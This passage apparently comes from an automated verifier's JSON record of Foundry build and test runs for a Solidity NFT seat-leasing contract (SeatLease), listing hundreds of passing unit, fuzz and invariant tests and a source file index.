301473)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 412021)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 199868)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62184)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64912)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 441309)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 176063)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 324878)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73734)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 147469)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60224)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61953)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 137073)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 446503)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27919)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83707)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1085003)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 96101)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901278)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109282)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54338)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75567)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70398)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164378)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75943)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41269)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61228)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 131904)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 134498)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 987987)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 41994)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 184.78ms (364.15ms CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5062413)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4634302)\n[PASS] test_deploy_withMocks() (gas: 5952206)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 197.58ms (2.03ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 1270907, ~: 1275848)\nLogs:\n  Bound result 3559\n  Bound result 23696\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 1300904, ~: 1300255)\nLogs:\n  Bound result 2\n  Bound result 17056801773376\n  Bound result 614\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 914672, ~: 914630)\nLogs:\n  Bound result 153488823\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 1100326, ~: 1100087)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 1207446, ~: 1207446)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 1117607, ~: 1117643)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 1116758, ~: 1148219)\nLogs:\n  Bound result 127304904866545\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 1062067, ~: 1064940)\nLogs:\n  Bound result 471836515271\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 1060075, ~: 1062385)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 1057214, ~: 1057207)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 1400376, ~: 1406054)\nLogs:\n  Bound result 5560\n  Bound result 280\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 2704590, ~: 2717558)\nLogs:\n  Bound result 10\n  Bound result 8\n  Bound result 826\n  Bound result 79228162514264337593543950335\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 1121085, ~: 1189741)\nLogs:\n  Bound result 3689\n  Bound result 54245749591320750210556962\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 1219252, ~: 1221938)\nLogs:\n  Bound result 90557969862855\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 984673, ~: 984545)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 991879, ~: 1066300)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040761497)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 1641099)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1885816)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 915991)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 1158396)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 1790180)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 948903)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 2205843)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 1090924)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 1007820)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 2146576)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 1385067)\n[PASS] test_claim_targetCannotInvokeHolderReceiverHook() (gas: 1388591)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 1442668)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 1291232)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 958895)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 986539)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 1126151)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 970673)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 2131367)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 1073406)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 2104450)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 1115847)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 1115858)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 2145048)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 1154281)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 1110702)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112439)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184185)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 1520835)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 1117558)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 1017773)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 1096816)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 1132999)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 1357238)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 1226121)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 1073484)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 947448)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 1119315)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 1083968)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1979158)\n[PASS] test_sweep_afterOracleCutPreservesOperatorsBookedShare() (gas: 1669682)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 1304750)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 2279241)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 1304673)\n[PASS] test_sweep_operatorWhoQuitCanCollectItsEarlierShare() (gas: 1411307)\n[PASS] test_sweep_preservesBookingAcrossTermChanges() (gas: 1459703)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 1151727)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 1336770)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 999110)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 963545)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 197.53ms (2.41s CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1459257, ~: 1461662)\nLogs:\n  Bound result 251982043781508\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1223956, ~: 1229371)\nLogs:\n  Bound result 935\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1355143, ~: 1362146)\nLogs:\n  Bound result 4347\n  Bound result 9879221507924490050503\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1248082)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1239416)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1093585)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2189645)\n[PASS] test_claim_booksTokenIncrease() (gas: 1414717)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014532)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1244552)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2316603)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1182822)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261303)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907044)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973374)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1316980)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1588873)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844506)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2222699)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351243)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920422)\n[PASS] test_claim_revertsForNonOwner() (gas: 1055610)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852312)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513378)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915636)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955399)\n[PASS] test_credit_erc20BooksToSeat() (gas: 1097765)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004328)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1733998)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389161)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040877)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907061)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909403)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902290)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388262)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911575)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1049106)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1844999)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1688848)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1200036)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342313)\n[PASS] test_skim_reverts() (gas: 1516555)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1763200)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233214)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1414965)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1401609)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296320)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2270834)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1404950)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1519183)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1447781)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1459990)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1317195)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1605770)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1270116)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1535762)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2361146)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39978)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904202)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1341798)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 1607163)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1535764)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 197.56ms (614.26ms CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1152670, ~: 1156861)\nLogs:\n  Bound result 25716387\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1052007, ~: 1052007)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 990333, ~: 990333)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 769348, ~: 808319)\nLogs:\n  Bound result 400\n\n[PASS] test_constructor_recordsParameters() (gas: 75950)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2066188)\n[PASS] test_cut_returnsBondToOperator() (gas: 1172112)\n[PASS] test_cut_revertsForNonOwner() (gas: 1051690)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900083)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937257)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2063076)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1430491)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962090)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900707)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372966)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368418)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988918)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 890998)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1175680)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013200)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1880756)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1879854)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1893905)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 979744)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1140729)\n[PASS] test_quit_revertsForNonOperator() (gas: 1084367)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930621)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1332265)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1260824)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 897046)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 928767)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36884)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1050685)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 982125)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1116927)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736184)\n[PASS] test_take_open_anyoneMayTake() (gas: 1049868)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1782856)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1092651)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915335)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 966240)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1040519)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 960328)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1028277)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1499191)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1268008)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1103025)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1173254)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1003900)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900104)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1067338)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1268517)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 197.67ms (533.56ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 167   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 155   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 177   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 182   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | passTime | 169   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 177   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | setTerms | 169   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | skim     | 179   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 167   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweepFor | 159   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 159   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 188   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 280\n  Bound result 3185\n  Bound result 802\n  Bound result 100\n  Bound result 28\n  Bound result 3963\n  Bound result 4\n  Bound result 3752\n  Bound result 877\n  Bound result 1745\n  Bound result 3436\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.53s (1.53s CPU time)\n\nRan 2 tests for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-------------+-------+---------+----------╮\n| Contract        | Selector    | Calls | Reverts | Discards |\n+============================================================+\n| StatefulHandler | claim       | 492   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | credit      | 451   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cut         | 513   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cutByOracle | 451   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | deposit     | 485   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | donate      | 471   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | passTime    | 449   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | quit        | 469   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | setTerms    | 493   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweep       | 478   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweepFor    | 473   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | take        | 487   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | withdraw    | 432   | 0       | 0        |\n╰-----------------+-------------+-------+---------+----------╯\n\nLogs:\n  Bound result 433\n  Bound result 6218\n  Bound result 18\n  Bound result 1671\n  Bound result 3333\n  Bound result 20000\n  Bound result 335\n\n[PASS] test_handlerCoversTenureChangesAndWithdrawnShareRecovery() (gas: 15160379)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 100\n  Bound result 40\n  Bound result 10\n  Bound result 20\n  Bound result 10\n  Bound result 0\n  Bound result 100\n  Bound result 3600\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 9\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 15.09s (15.09s CPU time)\n\nRan 8 test suites in 15.09s (17.60s CPU time): 249 tests passed, 0 failed, 0 skipped (249 total tests)\n","passed":true},{"durationMs":56,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":184,\"README.md\":433,\"REVIEW.md\":185,\"deployments/anvil-31337.json\":64,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":841,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/REVISION.md\":42,\"test/SeatLease.adversarial.t.sol\":1181,\"test/SeatLease.invariants.t.sol\":318,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.rewards.t.sol\":1046,\"test/SeatLease.signatures.t.sol\":574,\"test/SeatLease.stateful.t.sol\":590,\"test/seatlease-revision.gas-snapshot\":52,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1a668a1adb2960ecbf4e5070b6cd23d89b06906b74c188e1c22aef52d51d50b7","verifiedTreeHash":"b9a31abd1d0ee984eaf684c6430fbdd15fe66b44","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":6891,"exitCode":0,"name":"build","output":"Compiling 69 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.71s\nCompiler run successful!\n","passed":true},{"durationMs":15481,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 190.70ms (494.94µs CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5340704)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4912615)\n[PASS] test_deploy_withMocks() (gas: 6230541)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 190.76ms (1.69ms CPU time)\n\nRan 18 tests for test/SeatLease.revision3.t.sol:SeatLeaseRevision3Test\n[PASS] testFuzz_exitSettlesUnderOutgoingSplit(uint16,uint96,uint8) (runs: 256, μ: 1857083, ~: 1846127)\nLogs:\n  Bound result 107\n  Bound result 17026\n  Bound result 2\n\n[PASS] testFuzz_takeSkimSweepQuitCannotTakeVacantRewards(uint16,uint96,bool) (runs: 256, μ: 1611942, ~: 1577390)\nLogs:\n  Bound result 20\n  Bound result 17082\n\n[PASS] test_claimAndSkimWarmupBoundaryAndRetakeResetsIt() (gas: 2268458)\n[PASS] test_creditStillSharesImmediatelyDuringWarmup() (gas: 1096877)\n[PASS] test_failedOracleSettlementDoesNotConsumeRequestOrForfeitBond() (gas: 3003911)\n[PASS] test_instantQuitAndRetakeRejectsOldAttestation_documented() (gas: 1422502)\n[PASS] test_permissionedCutThenSkimOrClaimCannotReassignHolderRewards() (gas: 1648099)\n[PASS] test_plainTransferToHolderLocksSeat_documented() (gas: 1137959)\n[PASS] test_setRewardTokensEventViewAndActivation() (gas: 1270804)\n[PASS] test_setRewardTokensRejectsUnauthorizedMissingTooManyDuplicatesAndInvalidTokens() (gas: 1352337)\n[PASS] test_settlementCannotReenterTermsChangeDuringTake() (gas: 2566259)\n[PASS] test_settlementMeasuresFeeTokenReceipts() (gas: 2094283)\n[PASS] test_sweepForPaysHeavyReceiverAfterBoundedSweepRetainsShare() (gas: 1686927)\n[PASS] test_sweepForWithFullGasRemainsReentrancyGuarded() (gas: 